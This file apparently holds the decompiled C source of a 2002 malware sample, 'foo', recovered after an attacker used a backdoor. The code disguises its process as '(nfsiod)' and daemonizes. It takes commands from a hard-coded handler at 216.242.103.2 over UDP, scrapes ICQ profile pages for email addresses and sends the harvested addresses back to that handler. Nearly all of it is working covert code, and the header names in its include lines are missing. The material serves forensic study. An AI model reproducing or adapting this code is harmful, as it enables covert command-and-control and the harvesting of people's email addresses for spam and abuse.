/* This is the decompiled source code of the binary "foo", downloaded by the attacker with help of the NVP backdoor. Decompiled by Eloy Paris. Aug 2002 */ #include #include #include #include #include #include #include #include #include #include #include #define DELAY_BETWEEN_HTTP_GETS 25 #define N_ADDRESSES 98 in_addr_t resolve(char *); /* func1 */ int create_socket(void); /* func2 */ int destroy_socket(int); /* func3 */ int send_data(int sockfd, char *data, int len); /* func4 */ int receive_data(int sockfd, char *data, int len); /* func5 */ u_long communicate_with_handler(u_long, char *); /* func6 */ int harvest_email_addresses(u_long, char *, int); /* func7 */ int data_ready(int); /* func8 */ /* We'll use this as an index into an array in harvest_email_addresses() */ int result_index = 0; int main(int argc, char **argv) { u_long uin = 0; char buffer[30000]; memset(buffer, 0, sizeof(buffer) ); /* Conceal program name */ memset(argv[0], 0, strlen(argv[0]) ); strcpy(argv[0], "(nfsiod)"); signal(SIGCHLD, SIG_IGN); if (fork() != 0) exit(0); setsid(); signal(SIGCHLD, SIG_IGN); setuid(1); seteuid(1); if (fork() != 0) exit(0); signal(SIGPIPE, SIG_IGN); chdir("/"); signal(SIGCHLD, SIG_IGN); while (1) { uin = communicate_with_handler(uin, buffer); harvest_email_addresses(uin, buffer, sizeof(buffer) ); sleep(1); } } in_addr_t resolve(char *host) { in_addr_t host_addr; struct hostent *hostent; if ( (host_addr = inet_addr(host) ) == INADDR_NONE) { if ( (hostent = gethostbyname(host) ) == NULL) exit(0); bcopy(*hostent->h_addr_list, &host_addr, sizeof(in_addr_t) ); } return host_addr; } int create_socket(void) { int sockfd; if ( (sockfd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) ) == 0) exit(0); fcntl(sockfd, F_SETFL, O_RDONLY | O_NONBLOCK); return sockfd; } int destroy_socket(int sockfd) { close(sockfd); return 0; } int send_data(int sockfd, char *data, int len) { struct sockaddr_in dest; if (sockfd != 0) { bzero(&dest, sizeof(dest) ); dest.sin_addr.s_addr = resolve("216.242.103.2"); dest.sin_family = AF_INET; dest.sin_port = htons(53413); if (sendto(sockfd, data, len, 0, (struct sockaddr *) &dest, sizeof(dest) ) < 0) exit(0); } return 0; } int receive_data(int sockfd, char *data, int len) { struct sockaddr_in source; int source_len = sizeof(source); int bytes_received = 0; /* Zero out receive buffer */ bzero(data, len); if (sockfd != 0) { bzero(&source, sizeof(source) ); source.sin_addr.s_addr = resolve("216.242.103.2"); source.sin_family = AF_INET; source.sin_port = htons(53413); bytes_received = recvfrom(sockfd, data, len, 0, (struct sockaddr *) &source, &source_len); if (bytes_received < 0) return 0; else return 1; } return 0; } u_long communicate_with_handler(u_long uin, char *data) { int sockfd; int retries; int flag = 1; char buffer[1000]; static u_long initial_uin = 0; if (uin > initial_uin + N_ADDRESSES || initial_uin == 0) { sockfd = create_socket(); if (strlen(data) > 3) while (flag != 0) { retries = 0; data[result_index++] = '\0'; do { send_data(sockfd, data, result_index); sleep(10); retries++; } while (receive_data(sockfd, buffer, sizeof(buffer) ) <= 0 && retries <= 10); if (retries > 10) exit(0); if (!strncmp(buffer, "GOT", 3) ) flag = 0; } while (1) { retries = 0; do { send_data(sockfd, "GU\n", 3); sleep(10); retries++; } while (receive_data(sockfd, buffer, sizeof(buffer) ) <= 0 && retries <= 10); if (retries > 10) { destroy_socket(sockfd); exit(0); } if (!strncmp(buffer, "DIE", 3) ) { destroy_socket(sockfd); exit(0); } if (!strncmp(buffer, "DU", 2) ) { sscanf(buffer + 2, "%lu", &initial_uin); memset(data, 0, 30000); sprintf(data, "SE%lu\n", (u_long) initial_uin); result_index = strlen(data); /* We'll put data after SEnnnn */ destroy_socket(sockfd); return initial_uin; } } return 0; /* This is dead code because of the while(1) above, but this was here in the original binary */ } else return uin + 1; } int harvest_email_addresses(u_long uin, char *data, int len) { struct sockaddr_in sockaddr; int sockfd; int still_harvesting = 1; int bytes_read; int parser_state = 0; u_char http_cmd[1000]; u_char recvbuf[2]; int oldtime = 0; sockaddr.sin_addr.s_addr = resolve("web.icq.com"); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(80); sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(sockfd, (struct sockaddr *) &sockaddr, sizeof(sockaddr) ) == -1) { close(sockfd); return 0; } sleep(1); fcntl(sockfd, F_SETFD, O_RDONLY | O_NONBLOCK); sprintf(http_cmd, "GET /wwp?Uin=%lu HTTP/1.0\r\nHost: web.icq.com\r\n\r\n", uin); send(sockfd, http_cmd, strlen(http_cmd), 0); oldtime = time(NULL); while (still_harvesting) { if (time(NULL) - oldtime > DELAY_BETWEEN_HTTP_GETS) still_harvesting = 0; if (data_ready(sockfd) ) { bytes_read = read(sockfd, &recvbuf[1], 1); /* I didn't write this spaghetti-like code, I just decompiled it. */ if (bytes_read == 1 && parser_state == 0) { if (recvbuf[1] == '"') parser_state = 1; } else if (bytes_read == 1 && parser_state == 1) { if (recvbuf[0] == 'l' && recvbuf[1] != 't') parser_state = 0; else if (recvbuf[0] > 'l') { if (recvbuf[0] == 'o' && recvbuf[1] == ':') parser_state = 2; else if (recvbuf[0] > 'o') { if (recvbuf[0] == 't' && recvbuf[1] != 'o') parser_state = 0; } else if (recvbuf[0] == 'm' && recvbuf[1] != 'a') parser_state =0; } else if (recvbuf[0] == 'a' && recvbuf[1] != 'i') { parser_state = 0; } else if (recvbuf[0] > 'a') { if (recvbuf[0] == 'i' && recvbuf[1] != 'l') parser_state = 0; } else if (recvbuf[0] == '"' && recvbuf[1] != 'm') parser_state = 0; } else if (bytes_read == 1 && parser_state == 2) { if (recvbuf[1] != '"' && result_index < len - 1) { if (isprint(recvbuf[1]) != 0) data[result_index++] = recvbuf[1]; } else { if (result_index < len - 1) data[result_index++] = '\n'; close(sockfd); sleep(1); return 0; } } if (bytes_read == 1) recvbuf[0] = recvbuf[1]; } } close(sockfd); return 0; } int data_ready(int fd) { int argp; if (ioctl(fd, FIONREAD, &argp) == -1) return -1; else return argp; return 1; }